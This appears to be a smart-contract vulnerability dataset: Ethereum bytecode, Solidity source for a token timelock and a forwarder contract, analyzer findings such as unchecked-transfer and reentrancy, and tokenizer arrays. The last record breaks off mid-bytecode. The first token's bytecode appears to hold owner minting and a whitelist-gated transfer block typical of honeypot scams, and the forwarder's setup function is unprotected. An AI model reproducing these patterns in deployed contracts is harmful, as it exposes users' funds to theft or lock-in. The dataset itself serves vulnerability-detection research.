0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063ff60df4b14610306576100f5565b8063715018a6146102145780638da5cb5b1461021e57806395d89b411461023c57806396bfcd231461025a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906117e0565b60405180910390f35b610132600480360381019061012d919061157d565b6103b4565b60405161013f91906117c5565b60405180910390f35b6101506103d2565b60405161015d9190611922565b60405180910390f35b610180600480360381019061017b919061152e565b6103dc565b60405161018d91906117c5565b60405180910390f35b61019e6104dd565b6040516101ab919061193d565b60405180910390f35b6101ce60048036038101906101c9919061157d565b610505565b6040516101db91906117c5565b60405180910390f35b6101fe60048036038101906101f991906114c9565b6105b1565b60405161020b9190611922565b60405180910390f35b61021c6105fa565b005b610226610750565b60405161023391906117aa565b60405180910390f35b610244610776565b60405161025191906117e0565b60405180910390f35b610274600480360381019061026f91906114c9565b610808565b005b610290600480360381019061028b919061157d565b6108e1565b60405161029d91906117c5565b60405180910390f35b6102c060048036038101906102bb919061157d565b6109d5565b6040516102cd91906117c5565b60405180910390f35b6102f060048036038101906102eb91906114f2565b610c3c565b6040516102fd9190611922565b60405180910390f35b610320600480360381019061031b91906115b9565b610cc3565b005b60606007805461033190611ad7565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611ad7565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610dc4565b8484610dcc565b6001905092915050565b6000600654905090565b60006103e9848484610f97565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610dc4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab90611882565b60405180910390fd5b6104d1856104c0610dc4565b85846104cc9190611a1b565b610dcc565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006105a7610512610dc4565b848460056000610520610dc4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105a291906119c5565b610dcc565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610602610dc4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461068f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610686906118a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0637918ed1dec3d326ce72930653365138a358763387afe575da1790ef8107a860405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461078590611ad7565b80601f01602080910402602001604051908101604052809291908181526020018280546107b190611ad7565b80156107fe5780601f106107d3576101008083540402835291602001916107fe565b820191906000526020600020905b8154815290600101906020018083116107e157829003601f168201915b5050505050905090565b610810610dc4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610894906118a2565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600560006108f0610dc4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611902565b60405180910390fd5b6109ca6109b8610dc4565b8585846109c59190611a1b565b610dcc565b600191505092915050565b60006109df610dc4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4c575060011515600960009054906101000a900460ff161515145b15610a8757610a63610a5c610dc4565b8484610f97565b6000600960006101000a81548160ff02191690831515021790555060019050610c36565b610a8f610dc4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afc575060001515600960009054906101000a900460ff161515145b15610c1f57610b16826006546112bb90919063ffffffff16565b600681905550610b6e82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0e9190611922565b60405180910390a360019050610c36565b610c31610c2a610dc4565b8484610f97565b600190505b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ccb610dc4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4f906118a2565b60405180910390fd5b60005b8151811015610dc057610dad828281518110610da0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151611319565b8080610db890611b3a565b915050610d5b565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e33906118e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea390611822565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8a9190611922565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe906118c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106e90611802565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561112457600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661112357600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156111ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a290611862565b60405180910390fd5b81816111b79190611a1b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461124991906119c5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112ad9190611922565b60405180910390a350505050565b60008082846112ca91906119c5565b90508381101561130f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130690611842565b60405180910390fd5b8091505092915050565b611321610dc4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a5906118a2565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061141c6114178461197d565b611958565b9050808382526020820190508285602086028201111561143b57600080fd5b60005b8581101561146b57816114518882611475565b84526020840193506020830192505060018101905061143e565b5050509392505050565b60008135905061148481611e9c565b92915050565b600082601f83011261149b57600080fd5b81356114ab848260208601611409565b91505092915050565b6000813590506114c381611eb3565b92915050565b6000602082840312156114db57600080fd5b60006114e984828501611475565b91505092915050565b6000806040838503121561150557600080fd5b600061151385828601611475565b925050602061152485828601611475565b9150509250929050565b60008060006060848603121561154357600080fd5b600061155186828701611475565b935050602061156286828701611475565b9250506040611573868287016114b4565b9150509250925092565b6000806040838503121561159057600080fd5b600061159e85828601611475565b92505060206115af858286016114b4565b9150509250929050565b6000602082840312156115cb57600080fd5b600082013567ffffffffffffffff8111156115e557600080fd5b6115f18482850161148a565b91505092915050565b61160381611a4f565b82525050565b61161281611a61565b82525050565b6000611623826119a9565b61162d81856119b4565b935061163d818560208601611aa4565b61164681611c10565b840191505092915050565b600061165e6023836119b4565b915061166982611c21565b604082019050919050565b60006116816022836119b4565b915061168c82611c70565b604082019050919050565b60006116a4601b836119b4565b91506116af82611cbf565b602082019050919050565b60006116c76026836119b4565b91506116d282611ce8565b604082019050919050565b60006116ea6028836119b4565b91506116f582611d37565b604082019050919050565b600061170d6020836119b4565b915061171882611d86565b602082019050919050565b60006117306025836119b4565b915061173b82611daf565b604082019050919050565b60006117536024836119b4565b915061175e82611dfe565b604082019050919050565b60006117766025836119b4565b915061178182611e4d565b604082019050919050565b61179581611a8d565b82525050565b6117a481611a97565b82525050565b60006020820190506117bf60008301846115fa565b92915050565b60006020820190506117da6000830184611609565b92915050565b600060208201905081810360008301526117fa8184611618565b905092915050565b6000602082019050818103600083015261181b81611651565b9050919050565b6000602082019050818103600083015261183b81611674565b9050919050565b6000602082019050818103600083015261185b81611697565b9050919050565b6000602082019050818103600083015261187b816116ba565b9050919050565b6000602082019050818103600083015261189b816116dd565b9050919050565b600060208201905081810360008301526118bb81611700565b9050919050565b600060208201905081810360008301526118db81611723565b9050919050565b600060208201905081810360008301526118fb81611746565b9050919050565b6000602082019050818103600083015261191b81611769565b9050919050565b6000602082019050611937600083018461178c565b92915050565b6000602082019050611952600083018461179b565b92915050565b6000611962611973565b905061196e8282611b09565b919050565b6000604051905090565b600067ffffffffffffffff82111561199857611997611be1565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006119d082611a8d565b91506119db83611a8d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a1057611a0f611b83565b5b828201905092915050565b6000611a2682611a8d565b9150611a3183611a8d565b925082821015611a4457611a43611b83565b5b828203905092915050565b6000611a5a82611a6d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611ac2578082015181840152602081019050611aa7565b83811115611ad1576000848401525b50505050565b60006002820490506001821680611aef57607f821691505b60208210811415611b0357611b02611bb2565b5b50919050565b611b1282611c10565b810181811067ffffffffffffffff82111715611b3157611b30611be1565b5b80604052505050565b6000611b4582611a8d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b7857611b77611b83565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611ea581611a4f565b8114611eb057600080fd5b50565b611ebc81611a8d565b8114611ec757600080fd5b5056fea26469706673582212202a66840c7f1fe907806457d17316a010cb4e07df7131ac5a535b4638e80d126164736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 19481, 21619, 2546, 2683, 2581, 2475, 2497, 2683, 16576, 11329, 27421, 2549, 6305, 19841, 2278, 21486, 5243, 2475, 2050, 28311, 16086, 2475, 3676, 2575, 2487, 2497, 1013, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,705
0x97353eede953cd69c358ac02a5014cfcb03f052b
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29980800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x73D2Dc6968Cf1dEC13ac6643Aa0b5A81501A2124; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820948c9941e219061225afa368c88ac4a223d024eb0797058ef371f779f96036670029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 19481, 2509, 13089, 2063, 2683, 22275, 19797, 2575, 2683, 2278, 19481, 2620, 6305, 2692, 2475, 2050, 12376, 16932, 2278, 11329, 2497, 2692, 2509, 2546, 2692, 25746, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,706
0x97354A7281693b7C93f6348Ba4eC38B9DDd76D6e
pragma solidity ^0.4.24; interface ProForwarderInterface { function deposit(address _addr) external payable returns (bool); function migrationReceiver_setup() external returns (bool); } contract ProForwarder { string public name = "ProForwarder"; ProForwarderInterface private currentCorpBank_; address private newCorpBank_; bool needsBank_ = true; constructor() public { //constructor does nothing. } function() public payable { // done so that if any one tries to dump eth into this contract, we can // just forward it to corp bank. currentCorpBank_.deposit.value(address(this).balance)(address(currentCorpBank_)); } function deposit() public payable returns(bool) { require(msg.value > 0, "Forwarder Deposit failed - zero deposits not allowed"); require(needsBank_ == false, "Forwarder Deposit failed - no registered bank"); if (currentCorpBank_.deposit.value(msg.value)(msg.sender) == true) return(true); else return(false); } function status() public view returns(address, address, bool) { return(address(currentCorpBank_), address(newCorpBank_), needsBank_); } function startMigration(address _newCorpBank) external returns(bool) { // make sure this is coming from current corp bank require(msg.sender == address(currentCorpBank_), "Forwarder startMigration failed - msg.sender must be current corp bank"); // communicate with the new corp bank and make sure it has the forwarder // registered if(ProForwarderInterface(_newCorpBank).migrationReceiver_setup() == true) { // save our new corp bank address newCorpBank_ = _newCorpBank; return (true); } else return (false); } function cancelMigration() external returns(bool) { // make sure this is coming from the current corp bank (also lets us know // that current corp bank has not been killed) require(msg.sender == address(currentCorpBank_), "Forwarder cancelMigration failed - msg.sender must be current corp bank"); // erase stored new corp bank address; newCorpBank_ = address(0x0); return (true); } function finishMigration() external returns(bool) { // make sure its coming from new corp bank require(msg.sender == newCorpBank_, "Forwarder finishMigration failed - msg.sender must be new corp bank"); // update corp bank address currentCorpBank_ = (ProForwarderInterface(newCorpBank_)); // erase new corp bank address newCorpBank_ = address(0x0); return (true); } // this only runs once ever function setup(address _firstCorpBank) external { require(needsBank_ == true, "Forwarder setup failed - corp bank already registered"); currentCorpBank_ = ProForwarderInterface(_firstCorpBank); needsBank_ = false; } }
0x6080604052600436106100825763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461011b57806310639ea0146101a5578063200d2ed2146101ce57806366d382031461020f57806388d761f214610232578063a0f52da014610247578063d0e30db014610268575b600154604080517ff340fa01000000000000000000000000000000000000000000000000000000008152600160a060020a03909216600483018190529051909163f340fa019130319160248082019260209290919082900301818588803b1580156100ec57600080fd5b505af1158015610100573d6000803e3d6000fd5b50505050506040513d602081101561011757600080fd5b5050005b34801561012757600080fd5b50610130610270565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016a578181015183820152602001610152565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b157600080fd5b506101ba6102fe565b604080519115158252519081900360200190f35b3480156101da57600080fd5b506101e36103d3565b60408051600160a060020a03948516815292909316602083015215158183015290519081900360600190f35b34801561021b57600080fd5b50610230600160a060020a0360043516610408565b005b34801561023e57600080fd5b506101ba6104f2565b34801561025357600080fd5b506101ba600160a060020a03600435166105db565b6101ba610752565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102f65780601f106102cb576101008083540402835291602001916102f6565b820191906000526020600020905b8154815290600101906020018083116102d957829003601f168201915b505050505081565b600154600090600160a060020a031633146103af576040805160e560020a62461bcd02815260206004820152604760248201527f466f727761726465722063616e63656c4d6967726174696f6e206661696c656460448201527f202d206d73672e73656e646572206d7573742062652063757272656e7420636f60648201527f72702062616e6b00000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b506002805473ffffffffffffffffffffffffffffffffffffffff1916905560015b90565b600154600254600160a060020a0391821692918116917401000000000000000000000000000000000000000090910460ff1690565b60025474010000000000000000000000000000000000000000900460ff1615156001146104a5576040805160e560020a62461bcd02815260206004820152603560248201527f466f72776172646572207365747570206661696c6564202d20636f727020626160448201527f6e6b20616c726561647920726567697374657265640000000000000000000000606482015290519081900360840190fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556002805474ff000000000000000000000000000000000000000019169055565b600254600090600160a060020a031633146105a3576040805160e560020a62461bcd02815260206004820152604360248201527f466f727761726465722066696e6973684d6967726174696f6e206661696c656460448201527f202d206d73672e73656e646572206d757374206265206e657720636f7270206260648201527f616e6b0000000000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b50600280546001805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617825590911690915590565b600154600090600160a060020a0316331461068c576040805160e560020a62461bcd02815260206004820152604660248201527f466f727761726465722073746172744d6967726174696f6e206661696c65642060448201527f2d206d73672e73656e646572206d7573742062652063757272656e7420636f7260648201527f702062616e6b0000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b81600160a060020a0316630839e0fb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156106e357600080fd5b505af11580156106f7573d6000803e3d6000fd5b505050506040513d602081101561070d57600080fd5b505115156001141561074957506002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038316179055600161074d565b5060005b919050565b60003481106107d1576040805160e560020a62461bcd02815260206004820152603460248201527f466f72776172646572204465706f7369